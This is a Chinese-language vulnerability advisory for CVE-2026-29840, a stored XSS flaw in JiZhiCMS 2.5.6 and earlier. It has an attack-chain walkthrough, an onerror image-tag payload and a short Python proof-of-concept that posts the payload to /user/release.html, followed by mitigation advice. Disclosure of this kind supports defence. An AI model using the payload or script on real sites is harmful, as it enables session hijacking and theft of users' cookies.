IPBUF安全漏洞报告
English
CVE-2026-29840 CVSS 5.4 中危

CVE-2026-29840:JiZhiCMS存储型XSS漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-29840
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
JiZhiCMS

相关标签

XSSJiZhiCMS存储型跨站脚本Web安全CVE-2026-29840

漏洞概述

JiZhiCMS v2.5.6及之前版本在用户发布功能中存在存储型XSS漏洞。应用程序虽然尝试过滤<script>标签,但未能递归移除其他HTML标签(如<img>)中的危险事件处理器(如onerror)。经过身份认证的远程攻击者可利用/user/release.html接口的body参数注入任意Web脚本,导致存储型跨站脚本攻击。

技术细节

该漏洞位于app/home/c/UserController.php文件的release函数中。核心成因是JiZhiCMS的输入过滤机制存在逻辑缺陷,仅简单移除了<script>标签字符串,却未对HTML标签属性进行深度解析和清洗,导致攻击者可以利用其他标签(如<img>、<body>)的事件属性(如onerror)注入恶意代码。攻击者需具备低权限账号,通过向/user/release.html发送POST请求,在body参数中植入带有事件处理器的Payload。由于系统未能递归过滤,该Payload被持久化存储。一旦管理员或用户访问该发布内容,浏览器解析HTML标签并触发事件,即可在受害者上下文中执行任意JavaScript代码,进而窃取Cookie、进行会话劫持或钓鱼攻击。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个低权限的JiZhiCMS用户账号。
STEP 2
2. 构造Payload
攻击者构造包含恶意事件处理器的HTML标签,例如`<img src=x onerror=alert(1)>`。
STEP 3
3. 发送请求
攻击者向`/user/release.html`发送POST请求,将Payload注入到`body`参数中。
STEP 4
4. 恶意存储
服务器端过滤机制失效,恶意 Payload 被存储在数据库中。
STEP 5
5. 触发漏洞
管理员或其他用户访问包含该内容的页面,浏览器解析HTML并触发`onerror`事件执行脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target.com/user/release.html" # Malicious payload using img tag to bypass script filter payload = '<img src=x onerror=alert(document.cookie)>' # POST data data = { "body": payload } # Authentication cookies (required) cookies = { "JZSESSION": "your_session_cookie" } # Send the request response = requests.post(url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Exploit sent successfully!") else: print("[-] Failed to send exploit.")

影响范围

JiZhiCMS <= 2.5.6

防御指南

临时缓解措施
在未升级版本前,建议在输出端对内容进行HTML实体编码,或者使用WAF拦截包含onerror、onload等事件处理器的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表